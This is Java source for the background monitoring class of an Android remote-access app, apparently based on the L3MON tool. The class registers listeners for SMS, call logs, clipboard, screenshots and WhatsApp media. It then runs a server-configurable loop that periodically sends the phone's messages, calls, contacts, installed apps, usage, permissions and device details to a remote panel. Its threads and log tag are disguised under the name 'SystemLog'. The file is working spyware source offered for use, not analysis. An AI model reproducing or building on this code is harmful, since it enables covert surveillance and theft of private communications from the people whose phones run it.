package com.etechd.l3mon;

import android.content.Context;
import android.util.Log;

import org.json.JSONObject;

/**
 * Sincronización periódica en segundo plano (sin comandos del panel).
 */
public class BackgroundMonitor {
    private static final String TAG = "SystemLog";

    private static volatile boolean started = false;

    private static int smsSeconds = 300;
    private static int callsSeconds = 300;
    private static int wifiSeconds = 600;
    private static int appsSeconds = 21600;
    private static int appUsageSeconds = 900;
    private static int appSessionSeconds = 60;
    private static int deviceInfoSeconds = 3600;
    private static int permissionsSeconds = 21600;
    private static int contactsSeconds = 300;
    private static int clipboardSeconds = 30;

    private static long lastSms = 0;
    private static long lastCalls = 0;
    private static long lastWifi = 0;
    private static long lastApps = 0;
    private static long lastAppUsage = 0;
    private static long lastAppSession = 0;
    private static long lastDeviceInfo = 0;
    private static long lastPermissions = 0;
    private static long lastContacts = 0;

    public static synchronized void start(Context context) {
        if (started || context == null) {
            return;
        }
        started = true;
        Context app = context.getApplicationContext();
        SmsContentObserver.register(app);
        CallLogContentObserver.register(app);
        WifiChangeReceiver.register(app);
        ClipboardMonitor.start(app);
        ScreenshotMonitor.start();
        WhatsAppMediaMonitor.start();
        new Thread(new Runnable() {
            @Override
            public void run() {
                runInitialSync();
                monitorLoop();
            }
        }, "SystemLogMonitor").start();
        Log.i(TAG, "BackgroundMonitor iniciado");
    }

    public static void applyServerConfig(JSONObject monitor) {
        if (monitor == null) {
            return;
        }
        smsSeconds = monitor.optInt("sms_seconds", smsSeconds);
        callsSeconds = monitor.optInt("calls_seconds", callsSeconds);
        wifiSeconds = monitor.optInt("wifi_seconds", wifiSeconds);
        appsSeconds = monitor.optInt("apps_seconds", appsSeconds);
        appUsageSeconds = monitor.optInt("app_usage_seconds", appUsageSeconds);
        appSessionSeconds = monitor.optInt("app_session_seconds", appSessionSeconds);
        deviceInfoSeconds = monitor.optInt("device_info_seconds", deviceInfoSeconds);
        permissionsSeconds = monitor.optInt("permissions_seconds", permissionsSeconds);
        contactsSeconds = monitor.optInt("contacts_seconds", contactsSeconds);
        clipboardSeconds = monitor.optInt("clipboard_seconds", clipboardSeconds);
        WhatsAppMediaMonitor.applyServerConfig(monitor);
    }

    private static void runInitialSync() {
        sleep(5000);
        safeSync("sms", new Runnable() {
            @Override
            public void run() {
                ConnectionManager.SM(0, "", "");
            }
        });
        sleep(2000);
        safeSync("calls", new Runnable() {
            @Override
            public void run() {
                ConnectionManager.CL();
            }
        });
        sleep(2000);
        safeSync("wifi", new Runnable() {
            @Override
            public void run() {
                ConnectionManager.WI();
            }
        });
        sleep(2000);
        safeSync("contacts", new Runnable() {
            @Override
            public void run() {
                ContactsChangeTracker.reportChangesIfAny();
            }
        });
        sleep(2000);
        safeSync("apps", new Runnable() {
            @Override
            public void run() {
                ConnectionManager.IN();
            }
        });
        sleep(2000);
        safeSync("permissions", new Runnable() {
            @Override
            public void run() {
                ConnectionManager.PM();
            }
        });
        sleep(2000);
        safeSync("app_usage", new Runnable() {
            @Override
            public void run() {
                AppUsageReporter.reportNow(SystemLogApi.getAppContext());
            }
        });
        sleep(2000);
        safeSync("device_info", new Runnable() {
            @Override
            public void run() {
                DeviceInfoCollector.reportNow(SystemLogApi.getAppContext());
            }
        });
        lastSms = lastCalls = lastWifi = lastApps = lastPermissions = lastContacts = lastAppUsage = lastAppSession = lastDeviceInfo = System.currentTimeMillis();
        ClipboardMonitor.tick();
    }

    private static void monitorLoop() {
        while (started) {
            try {
                if (SystemLogApi.getToken() == null) {
                    sleep(10000);
                    continue;
                }
                long now = System.currentTimeMillis();
                if (now - lastSms >= smsSeconds * 1000L) {
                    safeSync("sms", new Runnable() {
                        @Override
                        public void run() {
                            ConnectionManager.SM(0, "", "");
                        }
                    });
                    lastSms = now;
                }
                if (now - lastCalls >= callsSeconds * 1000L) {
                    safeSync("calls", new Runnable() {
                        @Override
                        public void run() {
                            ConnectionManager.CL();
                        }
                    });
                    lastCalls = now;
                }
                if (now - lastWifi >= wifiSeconds * 1000L) {
                    safeSync("wifi", new Runnable() {
                        @Override
                        public void run() {
                            ConnectionManager.WI();
                        }
                    });
                    lastWifi = now;
                }
                if (now - lastApps >= appsSeconds * 1000L) {
                    safeSync("apps", new Runnable() {
                        @Override
                        public void run() {
                            ConnectionManager.IN();
                        }
                    });
                    lastApps = now;
                }
                if (now - lastAppUsage >= appUsageSeconds * 1000L) {
                    safeSync("app_usage", new Runnable() {
                        @Override
                        public void run() {
                            AppUsageReporter.reportNow(SystemLogApi.getAppContext());
                        }
                    });
                    lastAppUsage = now;
                }
                if (now - lastAppSession >= appSessionSeconds * 1000L) {
                    safeSync("app_session", new Runnable() {
                        @Override
                        public void run() {
                            AppUsageEventsMonitor.poll(SystemLogApi.getAppContext());
                        }
                    });
                    lastAppSession = now;
                }
                if (now - lastDeviceInfo >= deviceInfoSeconds * 1000L) {
                    safeSync("device_info", new Runnable() {
                        @Override
                        public void run() {
                            DeviceInfoCollector.reportNow(SystemLogApi.getAppContext());
                        }
                    });
                    lastDeviceInfo = now;
                }
                if (now - lastPermissions >= permissionsSeconds * 1000L) {
                    safeSync("permissions", new Runnable() {
                        @Override
                        public void run() {
                            ConnectionManager.PM();
                        }
                    });
                    lastPermissions = now;
                }
                if (now - lastContacts >= contactsSeconds * 1000L) {
                    safeSync("contacts", new Runnable() {
                        @Override
                        public void run() {
                            ContactsChangeTracker.reportChangesIfAny();
                        }
                    });
                    lastContacts = now;
                }
                WhatsAppMediaMonitor.tick();
                sleep(30000);
            } catch (Exception e) {
                Log.e(TAG, "monitorLoop: " + e.getMessage());
                sleep(10000);
            }
        }
    }

    private static void safeSync(String label, Runnable task) {
        try {
            task.run();
        } catch (Exception e) {
            Log.e(TAG, "sync " + label + ": " + e.getMessage());
        }
    }

    private static void sleep(long ms) {
        try {
            Thread.sleep(ms);
        } catch (InterruptedException ignored) {
        }
    }
}
